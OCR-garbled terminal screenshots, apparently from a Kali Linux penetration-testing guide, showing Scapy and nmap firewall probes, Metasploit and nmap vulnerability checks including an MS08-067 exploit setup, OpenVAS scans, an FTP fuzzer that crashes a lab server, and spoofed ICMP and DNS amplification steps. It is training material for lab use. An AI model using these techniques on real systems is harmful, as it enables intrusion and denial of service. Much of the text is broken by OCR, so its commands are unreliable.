File Edit View Search Terminal Help
:~# python
Python 2.7.13 (default, Dec 18 2016, 20:19:42)
[GCC 6.2.1 20161215] on linux2
Type "help”, "copyright”, "credits" or "license" for more information.
from scapy.all import *
ACK response 1(IP(ds 172.16.69.129") /TCP(dport=22,flags="A"), timeout=1,verbo
SYN response 1(IP(ds 172.16.69.129") /TCP(dport=22,flags='5S"),timeout=1,verbose
if ((ACK response == None) or (SYN response == None)) and not ((ACK response == None) and (SYN response == None)):
print "Stateful filtering in place"

Stateful filtering in place

File Edit View Search Terminal Help

resp 2 srl(IP(dst="172.16.69.129")/TCP(dport=80,flags="A"'),timeout=1,verbose=1)
Begin emissio
Finished to send 1 packets

Received 9 packets, got 0@ answers, remaining 1 packets
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srl(IP(dst="172.16.69.129")/TCP(dport=86,flags="S"),timeout=1, verbose=1)

respons
Begin emissior
Fi ed to send 1 packe

Received 2 packets, got 1 answers, remaining O packets
response.display()
#[ 18

File Edit View Search Terminal Help
from scapy.all
ACK_respons
SYN ponse
if CK pon N - (SYN_r

172.16.69.129" ) /TCP(dport=80, flags='S"), timeou
onse == None)) and not ((ACK respon

print "Stateful filtering in place

ful filtering in place
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response = srl(IP(dst="172.16.69.129")/TCP(dport=86,flags="A"},timeout=1,verbose=1)
Begin emissio
Finished to send 1 packets.
Received 2 packets, got 1 answers, remaining O packets

response.display()
[ B

A\

##4[ 144
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>>> response = srl(IP(dst="172.16.69.129")/TCP(dport=86,flags="S"}),timeout=1,verbose=1)
Begin emission:

Finished to send 1 packets

Received 1 packets, got 1 answers, remaining O packets
>>> response.display()
#Hi#( 14

16.69.129
72.16.69.133

### |4

»>>> response[TCP].flags
18L
> int(response[TCP].flags)

18

File Edit View Search Terminal Help
>>> from scapy.all import *
=>>> ACK response = srl(IP(dst="172.16.69.129")/TCP(dport=86,flags="A"),timeout=1,verbose=0)
>>> SYN response = srl(IP(dst="172.16.69,129")/TCP(dport=80,flags="5"),timeout=1,verbose=0)
=>>> if ((ACK response == None) or (SYN response == None)) and not ((ACK response == None) and (SYN_response == None)):
. print "Stateful filtering in place"
. elif int(SYN_response[TCP].flags) == 18:
. print "Port is unfiltered and open"
. elif int(SYN response[TCP].flags) == 20:
print "Port is unfiltered and closed"”

Port is unfiltered and open
e |

File Edit View Search Terminal Help
>>> from scapy.all import *
>>> ACK_response = srl(IP(dst="172.16.69.129")/TCP(dport=4444,flags="A"'),timeout=1,verbose=0)
>>> SYN response = srl(IP(dst="172.16.69.129")/TCP(dport=4444,flags='5"), timeout=1,verbose=0)
>>> 1f ((ACK_response == None) or (SYN response == None)) and not ((ACK response == None) and (SYN_response == None}):
.. print "Stateful filtering in place"”
. elif int(SYN_response[TCP].flags) == 18:
.. print "Port is unfiltered and open"
. elif int(SYN response[TCP].flags) == 20:
print "Port is unfiltered and closed"

Port is unfiltered and closed
e |




File Edit View Search Terminal Help

response = srl(IP(dst="172.16.69.129")/TCP(dport=22,flags="A"},timeout=1,verbose=1)
Begln emissio
Finished to send 1 packets

Received 15 packets, got @ answers, remaining 1 packets
>>> response = srl(IP(dst="172.16.69.129")/TCP(dport=22,flags="'S"'),timeout=1,verbose=1)

Begin emission:
Finished to send 1 packets

Received 8 packets, got O answers, remaining 1 packets

>>> |1

File Edit View Search Terminal Help

S[ | "172.16.69.129" ) /TCP(dport=22, fl 'A'),timeout=1,verbose=0)
SYN_response ( 172.16.69,129") /TCP(dport=22, "), time ,verbose )
if ((ACK WLE None) or (SYN response == None)) and not ((ACK response == None) and (SYN response == None)):
. print “Stateful filtering in place"
elif int(SYN response[TCP].flags) == 18:
print "Port is unfiltered and open"
. elif int(SYN_response[TCP].flags) == 20:
. print "Port is unfiltered and closed"”
else:
print "Port is either unstatefully filtered or host is down"

%féceback (most recent call last):
File "<stdin>", line 3, in <module>
TypeError: 'NoneType' object has no attribute

55>

_ getitem

File Edit View Search Terminal Help
>>> if ((ACK response == None) and (SYN response == None)):
print "Port is either unstatefully filtered or host is down®

Poft is either unstatefully filtered or host is down

>>> |1

File Edit View Search Terminal Help
:~# chmod 777 ACK FW detect.py
¢ . /ACK_FW detect.py
W detect.py [Target-IP] [Targer Port]
./ACK FW detect.py 10.0.0.5 4
will determine if filtering e«lsts on port 443 of host 10.0.0.5

:~# ./ACK_FW detect.py 172.16.69.129 8@

s unfiltered and open
:~# ./ACK_FW detect.py 172.16.69.129 22

s elither unstatefully filtered or host is down
~#

File Edit View Search Terminal Help
:~# nmap -sA 172.16.69.128 -p 22

Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-03 08:21 EST
Nmap scan report for 172.16.69.128

Host is up (0.808018s latency).

PORT STATE SERVICE

22/tcp unfiltered ssh

Nmap done: 1 IP address (1 host up) scanned in ©.06 seconds
~# 11
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:~# nmap -sA 172.16.69.128

Starting Nmap 7.40 ( http map.org ) at 2817-02-63 08:23
Nmap scan report for 172.16.69.128
Host is up 000059s latenc

All 1000 scanned ports on 172.16.69.128 are unfiltered

Nmap done: 1 IP address (1 host up) scanned in ©.09 seconds
#

File Edit View Search Terminal Help
:~# nmap -sA 172.16.69.128 -p 1-65535

Starting Nmap 7.40 ( https://nmap.org ) at 2017-02-03 08:24
Nmap scan r or 172.16.69.128

Host is up (0.800060s later .

ALl 65535 scanned ports on 172.16.69.128 are unfiltered

Nmap done: 1 iP address (1 host up) scanned in 2.05 seconds
~#

File Edit View Search Terminal Help
:~# msfconsole

Payload caught by AV? Fly under the radar with Dynamic Payloads in
Metasploit Pro -- learn more on http://rapid7.com/metasploit
[ metasploit w4.13.15 1
1613 exploits - 915 auxiliary - 279 post ]
471 payloads - 39 encoders - 9 |
Free Metasploit Pro trial: f/r-7.coftrymsp ]

> use auxiliary/scanner/portscan/ack
auxiliary( ) > show options

Module options (auxiliary/scanner/portscan/ack):

Name urr S i Required

BATCHSIZE 6 The number of hosts te scan per

DELAY B yes The delay between connections, per thread, in milliseconds

INTERFACE no The name of the interface

JITTER yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)

RHOSTS The target address range or CIDR identifier

SNAPLEN 65535 The number of bytes to capture

THREADS 1 E The number of concurrent threads

TIMEOUT 500 The rep timeout in milliseconds

msf auxiliary(
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msf auxiliary( } > set PORTS 1-168

set RHOSTS 172.16.69.128

128

msf auxiliary( ) > show options
Module options (auxiliary/scanner/portscan/ack):
Name

BATCHSIZE The number of hosts to per

DELAY B yes The delay en connections, per thread, in milliseconds

INTERFACE gl The name of the interface

JITTER jes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 1-100 yes Ports to scan (e.g. 22-25,80,110-900)

RHOSTS 172.16.69.128 yes The target address range or CIDR identifier

SNAPLEN 65535 jes The number of bytes to captur

THREADS 25 - The number of concurrent thre

TIMEOUT 500 5 The reply read timeout in milliseconds

msf auxiliary(

File Edit View Search Terminal Help
auxiliary( ) > run

TCP UNFILTERED 172.

TCP UNFILTERED 172.

TCP UNFILTERED 172.

TCP UNFILTERED 172.16

TCP UNFILTERED 172.

TCP UNFILTERED 172.

TCP UNFILTERED 172.
UNFILTERED 172.16.69.

TCP UNFILTERED 172.16.69.

TCP UNFILTERED 172.16.69.
UNFILTERED 172.16.69.

File Edit View Search Terminal Help
TCP UNFILTERED 172.
TCP UNFILTERED 172.
TCP UNFILTERED 172.
TCP UNFILTERED 172.
TCP UNFILTERED 172.16
TCP UNFILTERED 172.
TCP UNFILTERED 172.

TCP UNFILTERED 172.
TCP UNFILTERED 172.

TCP UNFILTERED 172.

Scanned 1 of 1 hosts (108% complete)
Auxiliary module execution completed
auxiliary( I |
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Chapter 6: Vulnerability Scanning

File Edit View Search Terminal Help

= { "default” ]
( brut ”1ntru51 e",
ilename g { dlSLOUe
ename

e

filename - . g {" . "default"”

[ filename ip- e.ns or { r ”intrusive
filename fe
filename p
filename ajp-request. ratpqorl

filename e fo.nse", categories
filename , categories = { "default
{ filename =

filename

filename

filename

filename

filename

filename "banner , categories = {

filename "hllCDlﬂ geladd n: , categories
“bitcoin-info.n categories = {

File Edit View Search Terminal Help
:~# grep vuln /usr/share/nmap/scripts/ t.db | cut -d

nse
ftp-vsftpd-backdoor.nse
ftp-vuln 010-4221.nse
http-adobe-coldfusion-apsal3@l.nse
-aspnet- denug nse
-users.nse

rf.
-dlink-ba
dombased-xss.nse
-enum.nse
-fileupload-exploiter.nse

majcrdomu~ dir-traversal.
-method-tamper.nse
-passwd.nse
phpmyadmin-dir-traversal
-phpself-xss.nse

-dir-traversal.nse
http-trace.nse
http-\
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¢ cat /usr/share/nmap/scripts/smb-vuln-mslB-054.nse | more
require "bin"

local smb = require "smb"

local vulns = require

local stdnse = reguire

description = [[
Tests whether target machines ari nerable to the ms10-854 SMB remote memory
corruption nerability.

The vulnerable machine will crash with BSOD.

The script requires at least READ access right to a share on a remote machine.
Either with guest credentials or with specified username/pa: rd.

File Edit View Search Terminal Help
- ge nmap -p 445 <target> --script=smb-vuln-msl@-854 --script-args unsafe

unsafe Required to run the script, "safety swich" te prevent running it by accident
smb-vuln-ms10-054.share Share to connect to (defaults to SharedDocs)

ost script results:
smb-vuln-ms10-054:
VULNERABLE:
SMB remote memory corruption vulnerability
State: VULNERABLE
IDs: CVE:CVE-2010-2550
Risk factor: HIGH CVSSv2: 10.8 (HIGH) (AV:N/AC:L/Au:N C/A:C)
D
e SMB S r in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2,
Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7
does not properly validate T ds in an SMB request, which allows remote attacker
to execute arbitrary code via a crafted SMB packet, aka B Pool Overflow Vulnere

2010-08-11

cve.mitre.org/cgi-bin ename. cgi?name=CVE-2018-2550
seclists.org/fulldisclos

hostrule = function(host)
return smb.get_port(host) ~= nil
end

File Edit View Search Terminal Help
# nmap --script smb-vuln-msl8-854 cript-args=unsafe=1 -

Starting Nmap 7.40 ( https://mmap.org ) at 2017-02-09 08:12 EST
Nmap scan report for 172.16. 129

Host is up (0.00831s latency).

PORT STATE SERVICE

445/tcp opel microsoft-ds

00:0C:29:94:63:4B (VMware)

Host script results:
| _smb-vuln-ms10-854: ERROR: Script execution failed ( -d to debug)

Nmap done: (1 host up) anned in 13.27 seconds
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File

-# cat /us
L bin

View Search Terminal

Help

/nmap/scripts/smb-vuln-ms18-861.nse more

require "bin

msrpc = require "msrpc”
smb"

“stri
ulns”

e "stdnse

lnerability
n in a fe y
as this is not a memory corruption vulnerability.

without a

Printer Spooler impe

The script checks for
shing the remote
In order

used in Stuxnet worm.
bility of ¢
for

File Edit
:~# nmap -pd45 1

arting Nmap 7.40 ( http
Nmap n report for
Host is up (0.060
PO STATE SERVICE

script
b-vuln-ms1@-

View Search Terminal

Help

script=smb-vuln-ms10-061

map.org ) at 2017-02-09 08:48 EST

File Edit

:fusr/share/met
##

# This module requires M
# Current sou : ht

##

require 'm
s5 Me

sploitModule <

include M

ploi
include M i

:tAuxili
include Msf:

def initialize
r(

" This module

in

¥ Authentication bypass bruteforce

View Search Terminal

Help
cat mysql_aut

metasploit.com/download

asploit:
pid7/metasploit- framework

ithub.com/

iliary

MySQL in order
from a My

ule
implementation

', # Original hashdump

rapid7.com/community/metasploit/blog/2012/86/11/

a

hdump.rb | mere

-tragically-comedic-security-flaw-in-mysql
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ppletv display image
appletv display video
ir file

published applications

nanagement
cp dcerpc auditor

normal
normal
n L
normal
normal

normal
normal

normal
normal
normal
normal
normal
normal
normatl

normal
normal
normal
normal
normal

esc r'ipl'lt'm

Ap TV Imagu Remote Control
Apple TV Vi -:h=n F‘emu“r-= Control

Citrix MetaFrame ICA Published Applicatio

DNS Record Scanne
HP tions Manager Perfd En nt 5

e
Services Unaj
canner|

Ap 1_\'_ Fl'lulu Prnmtul
Energi Duo Trujan
Chargen Probe Uti
CouchDB Enum Utili

Discovery
Hana;u:m nt Int Discovery

DCERPC TCP Serv

File Edit View Search Terminal Help
/ms12_020_check
info

Rl port
THREADS The number
Description:

the

running RD
of concurrent threads

Fulr Edit View Search Terminal Help

9 -

The target is wulne
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File Edit View Search Terminal Help

Provided by
Luigi Aur
Daniel Goi
Alex I
jduck <j

iption:
is module
SCov

hand
h will result an inv
ausing a denial-of-serv

channelids

Policy Wizards

Host Discovery

Web Application Tests

Basic Network Scan

Windows Malware Scan

Credentialed Patch Audit

Mobile Device Scan
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Policies

Al Policies Name ~
Example Policy
Scans
My Scans
No scans have been generated
Trash
» All Scans

/ Basic Settings
Name Example Scani
Policy Example Policy -
Folder My Scans -
Targets 172.16.36.0/24
Upload Targets Add File
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Scans / My Scans

Name Status

Example Scan1 J Running

Example Scan1

Scans > Hosts [  Vunerabilities Remediations
Host Vulnerabilities %
172.16.36.225 7 191
172.16.36.135 6 91
Scan Details
Name: Example Scani
Folder: My Scans
Status: Running
Palicy: Example Policy

Start time:  Sun Mar 9 13:00:08 2014

Vulnerabilities

@@ Info

@ Low
Medium

@ High

@B Critical

"-!"
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Example Scan Export

Hosts > 172.16.36.225 > Vulnerabilities

Severity « Plugin Name Count
MS05-027: Vulnerability in SMB Could Allow Remote Code Exec... 1
MS06-040: Vulnerability in Server Service Could Allow Remote C... 1
MSD8-067: Microsoft Windows Server Service Crafted RPG Reg... 1
MS09-001: Microsoft Windows SMB Vulnerabilities Remote Cod... 1

MS08-067: Microsoft Windows Server Service Craft...

Description

The remaote host is vulnerable to a buffer overrun in the "Server’ service that may allow an attacker
to execute arbitrary code on the remote host with the 'System' privileges.

Solution

Microsoft has released a set of patches for Windows 2000, XP, 2003, Vista and 2008.

See Also

http:/ftechnet. microsoft.com/en-us/security/bulletin/ms08-067
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1~# apt-get install openvas

Reading package lists... Done

Building dependency tree

Reading state information... Done

The following packages were automatically installed and are no longer required:
empathy empathy-common geoclue-2.8 gnome-dictionary gnome-mime-data gnome-screenshot gnome-shell-extension-refreshwifi gnome-system-log
gstreamerl.®-nice jsql libbonobo2-® 1libbonobo2-common libchamplain-gtk-©.12-8 libfarstream-0.2-5 1ibfltk-imagesl.3 1ibfltkl.3 libgadu3
1ibgdict-1.8-10 libgdict-common libgnome-2-8 libgnome2-common libgnomevfs2-8 libgnomevfs2-common libgnomevfs2-extra libgupnp-igd-1.8-4
libjavascriptcoregtk-3.8-8 libjs-mochikit libmagickcore-6.ql6-2 libmeanwhilel libmission-control-plugins® libmysqlclientl8 libnicel®
Libnm-gtk-common libnma-common liborbit-2-8 libprotobuf-cl libpurple-bin libpurple@ libtelepathy-farstream3 libwebkitgtk-3.08-0 libzephyrd
linux-image-4.6.0-kalil-amd64 pidgin-data python-advancedhttpserver python-alembic python-boltons python-cheetah python-dap python-editor
python-fermencode python-geoip2 python-geojson python-icalendar python-markdown python-maxminddb python-mpltoolkits.basemap python-openid
python-pampy python-paste python-pastedeploy python-pastedeploy-tpl python-pastescript python-pluginbase python-pyotp python-scgi
python-smoke-zephyr python-tempita python-termcolor python-tzlocal telepathy-gabble telepathy-haze telepathy-logger
telepathy-mission-control-5 telepathy-salut tigervnc-viewer

Use 'apt autoremove' to remove them.

The following additional packages will be installed:
doc-base fonts-texgyre gnutls-bin greenbone-security-assistant greenbone-security-assistant-common libfile-homedir-perl libfile-which-perl
libgnutls-dane@ libhiredis@.13 libmicrohttpdl2 libopenvas9 libunbound2 libuuid-perl libyaml-tiny-perl openvas-cli openvas-manager
openvas-manager-commen openvas-scanner preview-latex-style prosper ps2eps redis-server redis-tools tex-gyre texlive-extra-utils
texlive-font-utils texlive-fonts-recommended texlive-fonts-recommended-doc texlive-generic-extra texlive-generic-recommended
texlive-latex-extra texlive-latex-extra-doc texlive-latex-recommended texlive-latex-recommended-doc texlive-pictures texlive-pictures-doc
texlive-pstricks texlive-pstricks-doc tipa

Suggested packages
rarian-compat openvas-client pnscan strobe ruby-redis chktex dvidvi dvipng fragmaster lacheck latexdiff latexmk purifyeps xindy psutils
libspreadsheet-parseexcel-perl dot2tex prerex ruby-tcltk | libtcltk-ruby

The following NEW packages will be installed
doc-base fonts-texgyre gnutls-bin greenbone-security-assistant greenbone-security-assistant-common libfile-homedir-perl libfile-which-perl
libgnutls-dane@ libhiredis®.13 libmicrohttpdl2 libopenvas® libunbound2 libuuid-perl libyaml-tiny-perl openvas openvas-cli openvas-manager
openvas-manager-Ccommon openvas-scanner preview-latex-style prosper ps2eps redis-server redis-tools tex-gyre texlive-extra-utils
texlive-font-utils texlive-fonts-recommended texlive-fonts-recommended-doc texlive-generic-extra texlive-generic-recommended
texlive-latex-extra texlive-latex-extra-doc texlive-latex-recommended texlive-latex-recommended-doc texlive-pictures texlive-pictures-doc
texlive-pstricks texlive-pstricks-dec tipa
upgraded, 40 newly installed, © to remove and @ not upgraded.

Need to get 872 MB of archives.

After this operation, 1,220 MB of additional disk space will be used.

Do you want to continue? [Y/n] [

File Edit View Search Terminal Help
i~# openvas-setup

Directory for keys (/var/lib/openvas/private/CA) exists.
Directory for certificates (/var/lib/openvas/CA) exists.
CA key found in /var/lib/openvas/private/CA/cakey.pem
CA certificate found in /var/lib/openvas/CA/cacert.pem
CA certificate verified.

Certificate /var/lib/openvas/CA/servercert.pem verified.
Certificate /var/lib/openvas/CA/clientcert.pem verified.

OK: Your OpenVAS certificate infrastructure passed validation.
OpenVAS community feed server - http://www.openvas.org/
This service is hosted by Greenbone Networks - http://www.greenbone.net/

All transactions are logged.

If you have any questions, please use the OpenVAS mailing lists
or the OpenVAS IRC chat. See http://www.openvas.org/ for details.

By using this service you agree to our terms and conditions.
Only one sync per time, otherwise the source ip will be blocked.
receiving incremental file list

plugin feed info.inc

1,100 100% 1.85MB/s 0:00:00 (xfr#l, to-chk=0/1)

sent 43 bytes received 1,204 bytes 498.80 bytes/sec
total size is 1,100 speedup is 0.88




File Edit
1,583,048 100% 641.74kB/s :00:02 (xfr#l9, to-chk=16/36)
dfn-cert-2011.xml.asc
.69kB/s H:H (xfr#20, to-chk=15/36)

1,762,198 100% .23kB/s :00:02 (xfr#2l, to-chk=14/36)
dfn-cert-2612.xml.asc
181 108% .59KkB/s H:I:H (xfr#22, to-chk=13/36)
dfn-cert-2013.xml
1,622,943 100% .74kB/s :90:02 (xfr#23, to-chk=12/36)
dfn-cert-2013.xml.asc
181 106% .B1kB/s H::H (xfr#24, to-chk=11/36)
dfn-cert-2014.xml
1,530,889 106% .57KB/s :80:02 (xfr#25, to-chk=108/36)

.18kB/s H:H (xfr#26, to-chk=9/36)

2,041,493 100% .70kB/s H:I:H (xfr#27, to-chk=8/36)
dfn-cert-2015.xml.asc
181 188% .76kB/s H:H (xTr#28, to-chk=7/36)
dfn-cert-2016.xml
.25kB/s :00:03 (xfr#29, to-chk=6/36)

.39kB/s :00:00 (xfr#30, to-chk=5/36)
dfn-cert-2017.xml
1,118,472 100% -47kB/s H::H (xTr#31, to-chk=4/36)
dfn-cert-2017.xml.asc
181 100% .23kB/s :00: (xTr#32, to-chk=3/36)
shalsums
2,002 106% .52kB/s 00 (xfr#33, to-chk=2/36)
timestamp
13 leess 0.02kB/s 9:00: (xfr#34, to-chk=1/36)
timestamp.asc
181 106% 6.23kB/s 9:00: (xTr#35, to-chk=0/36)

sent 719 bytes received 35,588,033 bytes 733,788.78 bytes/sec

total size is 35,576,994 speedup is 1.00

fusr/sbin/openvasmd

User created iith password '935c2fbb-8319-4023-b799-c736324406ef
~#

File Edit View Search Terminal Help
:~# openvas-start
Starting OpenVas Services
Has
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€@ nips:/127.0.0.1

Greenbone Security Assistant

*

Username:

Password:

Greenbone
Security
Assistant

Lagin
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Greenbone Security Assistant - Mozilla Firefox

# Greenbone Security A.. x | #

€ 1 a

127.0.0.1 i i =

B Most Visited v [l Offensive Security  Kali Linux 8 Kali Docs S Kali Tools KB Exploit-DB Wy Aircrack-ng

Dashboard nepens

- CVEs by creation time (Total: 86301}

—— CVEs | year Total CVEs

5,000
B,000

7.0004
6,000
5000
4,000 i
3000

2000

|

1,000
1
t

Mo auto-refresh

Dashboard

Configuration Extras

Dashboard
Tasks |

Logg:

e in as Admin admin | Logout

Sun May 14 16:25:56 2017 UTC
Help

]

Results

| overrides

o hests with tepolegy selected

&
//

hitps://127.

T = T T T —t
1990 1995 2000 2005 2010 2015

0.0.1:9392/omp?cmd=get._tasks &token=66af08 2e- 31d8-42c6-2e4b-9ee09dc 324ch

L Firefox automatically sends some data to Mozila 5o that we can improve your experience.

53205)

W nigh
1 Medium

Log

Chaose What | Share| %
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& Greenbone Security A.. x | &

€)®a httpsi//127.0.0.1

c r w“Ba 9 3 s =
, Greenbone
Security Assistant

No auto-refresh -
Dashboard Assets

Logged in as Admin_admin | Logout

Fri May 12 16:48:20 2017 UTC
Seclnfe Configuration Extras Administration
7|

Filter: S %] 7]~
Task Wizard P 1 row 1
p Advanced Task Wizard

S Modify Task Wizard

¥ JTasks (0 of 0)

Tasks by Severity Class (Total: 0)

- Tasks with most High results per host - ks by status (Total: 0)

No Tasks with High severity found

Reports
e = =
I R =

Apply to page

A G |

https://127.0.0,1:9392/omp? cmd=wizard&name =quick _first_scan&filter=&filt_id=&token=eddcc9ad-41e3-4eOe-ae 3c-90ca®940250e
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& Greenbone Security A.. l\-l-

@ | https://127.0.0.1:9392/omp?cmd=get_tasks &token=ed4cc9ad-41e 3-dele-ae3c-90cad940250e e | [Q search e @ & & =

e —————————————)
‘Quick start: Immediately scan an IP address
IP address of hostname:

[17216 58129 ]
The default address is either your computer or your network gateway.
As a short-cut | will do the following for you:

1. Create a new Target

2. Create a new Task

3. Start this scan 1ask right away

4. Switch the view to reload every 30 seconds 5o you can lean back and watch the scan progress

In fact, you must not lean back_ As soon as the scan piogress is beyond 1%, you can already |ump into
the scan report via the link in the Reports Total column and review the results collected so far,

When creating the Target and Task | will use the defaults as configured in "My Settings”.
B'ycl\cldngmsmmklomymcmcmammkya.lmm
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J & Greenbone Security A.. x ¥

€ ) © @ hips:/1127.0.0.1 p?cmd=get_tasks &token e ||Q Sear % a + & =
Greenbone Refresh every 20 Sec. = | Logged in as Admin admin | Logout
Security Assistant Fri May 12 17:08:58 2017

Dashboard Assets secinfo Configuration Extras Administration
2] - [*] Filter =[x]7]A] al--
! I
«L/JTasks (1 0f 1) =
- Tasks by Severity Class (Total: 1)

Tasks with most High results per host

ks by status (Tota

B High I Done
Immediate scan of IP 172 !
0 5 10 15 20

Reports
e hoports [ T
T T R
—_—

101 May 12 2017 10.0 (High) DoaEcn

Apply to page T - BO
mi 7 Iy over 1 o 1=name)

Immediate scan of IP 172.16.69.128
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y & Greenbone Security A.. x ‘1-

& ) @ @ | https://127.0.0.1:9392/omp?cmd=dashboard &token=ed4 A1e 3-4e0e-ae 3c-00cadod0250e @ | [ searct bl =] +y & =
. Greenbone resh every 30 ec. - Logged in as Admin admin
Security Assistant fefresh every 20 Sec m:qu"u:mn zlnn

Dashboard Secinfo Configuration Extras Administration

- Tasks by status (Total: 1)

IVl pone

CVEs by creation time (Total: 86301) Hosts topology
—— CVEs | year Total CVEs
W High
9,000 90,000 [l Medium
8,000 80,000 =
7,000 70,000 Log
6,000 60.000
5,000 50,000 ﬂq/o -
4,000 40,000 R
3,000 30,000
2,000 20,000
1,000 10,000

04— | — T —0
1990 1995 2000 2005 2010 2015

https://127.0.0, 1:9392/omp? cmd=get _results &token=ed4cc9a9-41e 3-4ele-ae 3c-90cad940250e sreenbone Security Assistant (GSA) Copyright 20032016 by Greenbane Netwarks GmbH, www.greenbone net
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€ Da B 9 3+ A =
Greenbone Refresh every 30 Se Logged in as Admin_admin | Logout
Security Assistant Fri May 12 17:12:06 2017 UTC
Dashboard Scans Assets Secinfo Hel
Filter: b i O
g Results (142 of 327) ]
= Results by Severity Class (Total: 142) - Results vulnerability word cloud > Results by CVSS (Total: 142)
W High
Medium -
Low 70
Log o 60
. e 50
% v €
a1 « T 40
30
stection .
3 W il 20
10
R P
WA O 1 2 3 4 5 L] 7 8 s 10

8 oy @low Lo Juocaien |
T

Identify Unknown Services with nmap 80%  172.16.69.128 513ftcp Fri May 12 17:05:07 2017
Identify Unknown Services with nmap | o0iteal | 80%  172.16.69.128 6000/tcp Fri May 12 17:05:01 2017
CPE Inventory | o0ileal | BO% 172.16.69.128 general/CPE-T Fri May 12 17:04:54 2017
05 End Of Life Detection [ 10.0(Hioh) | 80%  172.16.69.128 generalitcp Fri May 12 17:04:54 2017
S5H Brute Force Logins With Default Credentials Repor [ OTHIgh | 95%  172.16.69.128 22ftcp Fri May 12 17:04:54 2017
d Compromised Source Packages Backdoor Wilnerability [ TS High | 99%  172.16.69.128 6200/tcp Fri May 12 16:59:46 2017
vsftpd Compromised Source Packages Backdoor Vulnerability [ 75 Highl | 99%  172.16.69.128 21fcp Fri May 12 16:59:46 2017
phpMyAdmin ‘error.php’ Cross Site Scripting Vulnerability | <} Medium) | 99% 172.16.69.128 80ftcp Fri May 12
MySQL f MariaDB weak password -l el 95% 172.16.69.128 3306/tcp Fri May 12 16:59:33 2017
PostqreSQL weak password [ o0 THigh — | 99%  172.16.69.128 5432ftep Fri May 12 1 62017

File Edit View Search Terminal Help
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ed connection

File Edit View Search Terminal Help

tion refus

File Edit View Search Terminal Help

File Edit View Search Terminal Help

File Edit View Search Terminal Help
88_067_n
t PAYLOA
et RHOST 172.16.69.1

/c ping 172.16.69.133 -n 1

English
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3 tener.py
ming ICMP Traff
able
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Chapter 7: Denial of Service

File Edit View Search Terminal Help
~# . /ftp_fuzz.p)
Usage - ./fTtp fuzz.py [Tar -IP] rt r] [Payload] [Int L] [Maximum]
Example - ./ftp fuzz.py 5 21 A 100 1660
Example will fuzz the de FTP se e with a series of
to include 160 'A’ s, etc... up to the maximum of 10
i~ r 172.16.69.129 21 A 100 1009
Enter ftp ame: anonymous
Enter ftp password: user@email.
Enter FTP command to fuzz: MKD
ing 100 instances of payload (A) to t
2 instances payload (A) to
payload (A) to t
f payload (A) to
vl (A} to
(A} to
(A) to target
instances yload (A) to target
900 instance payload (A) to target
Sending 1660 instances of payload (A) to target

There i ication that the r has ed

File Edit View Search Terminal Help

Enter ftp pa

En FTP command to fuz

Sending instan pa (ABCD) to
instances (ABCD) to
instances (ABCD) to target

Sending 468 e payload (ABCD) to target

Sending 568 instances of payload (ABCD) to target

There is no indication that the server has crashed
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c~# . /Ttp_fuzz.py
Usage - ./ftp _fuzz.py [Target-IP] [Port Number] [Interval] [Maximum]
Example - ./ftp fuzz.py 10.0.0.5 21 100 1000
Example will fuzz the defined FTP service with a series of line break
characters to include 1680 '\n's, 2080 '\n's, etc... up to the maximum of 10800
:~# . /ftp fuzz.py 172.16.69.129 21 100 1000
Enter ftp username: anonymous
Enter ftp password: user@mail.com
Enter FTP command to fuzz: MKD
Sending 100 line characters target
Sending 200 line br characters target
Sending 300 line break characters target
Sending 400 line characters target
Sending 500 line characters target
600 line br characters target
700 line break characters target

Unable to send...Server may have crashed
= |

Server.exe

zerver_exe haz encountered a problem and needs to
close. We are sorry for the iInconvenience.

[f you were in the middle of something, the infarmation you were warking on
right be lozt,

Please tell Microzoft about thiz problem.

YWe have created an error report that pou can zend to us. 'We will freat
thiz report az confidential and anongmous.

To zee what data thiz emor report containg, click here.

Send Eror Repart | Clon't Send |

| L1 kL Ll 1 I
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i=1IP()
>>> i.display()
#HE]

src= 127.0.0.1
dst= 127.0.0.1
\ \

i.dst = "172.16.69.136"
>>> i.display()
EX20) 1444

172.16.69.133
172.16.69.136

File Edit c
>> ping = ICMP()
»>> ping.display()

i 1444

File Edit Terminal
>>> request = (i/ping)
»>>> request.display()
#iE( 1###

sre= 172.16.69.133
dst= 172.16.69.136

\ \
HR| 144

»>> send(request)

éem 1 packets.




| |icmp

No. Source Destination Protocol Info
91 172.16.69.133 172.16.69.136 ICMP Echo (ping) request
92 172 .16.69.136 172.16.69.133 ICMP Echo (ping) reply

160 172.16.69.129 172.16.69.133 Echo (ping) reply

File Edit View Search Terminal Help

Sent 1 packets.
send(IP(dst="172.16.69.136",5rc="172.16.69.133")/ ICMP(),count=100,verbose=1)

Sent 100 packets.

File Edit View Search Terminal Help
:~# dig ANY yahoo.com @192.168.68.2

DiG 9.10.3-P4-Debian =« > ANY yahoo.com @192.168.68.2
++ global options: +cmd
;; Got answer:
i+ -»>>HEADER<<- opcode: QUERY, status: NOERROR, id: 17022
;3 flags: gqr rd ra; QUERY: 1, ANSWER: 16, AUTHORITY: ©, ADDITIONAL: 4

;+ QUESTION SECTION:
;yahoo.com. IN ANY

; ANSWER SECTION:
yahoo. com.
00 300 1814400 600
yahoo. com.
yahoo. com.
yahoo.com.
yahoo. com.
yahoo. com.
yahoo. com.
yahoo. com.
yahoo.com.
yahoo. com.
yahoo. com.
yahoo. com.
yahoo. com.
yahoo.com.
yahoo. com.
yahoo. com.

w

IN nsl.yahoo.com. hostmaster.yahoo-inc.com. 2017022003 36

IN 206.190.36.45

IN 98.138.253.109

IN 98.139.183.24

IN 2001:4998:

IN 2001:4998:44: :

IN 2001:4998:c:a06::2:4008
IN 1 mta6.am@.yahoodns.net.
IN 1 mta7.am@.yahoodns.net.
IN 1 mta5.am@.yahoodns.net.
IN ns4.yahoo.com.

IN nsl.yahoo.com.

IN ns2.yahoo.com.

IN ns3.yahoo.com.

IN ns5.yahoo.com.

IN "v=s5pfl redirect= spf.mail.yahoo.com"

Lo on

s+ ADDITIONAL SECTION:

nsl.yahoo.com. IN 68.180.131.16
ns2.yahoo.com. IN 68.142.255.16
ns3.yahoo.com. IN 203.84.221.53
ns4.yahoo.com. IN 98.138.11.157

5+ Query time: 14 msec
;+ SERVER: 192.168.68.2#53(192.168.68.2)

;3 WHEN: Mon Feb 20 07:11:12 EST 2017
;3 MSG SIZE rcvd: 497

~# 1
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File Edit View Search Terminal Help
i =1IP()
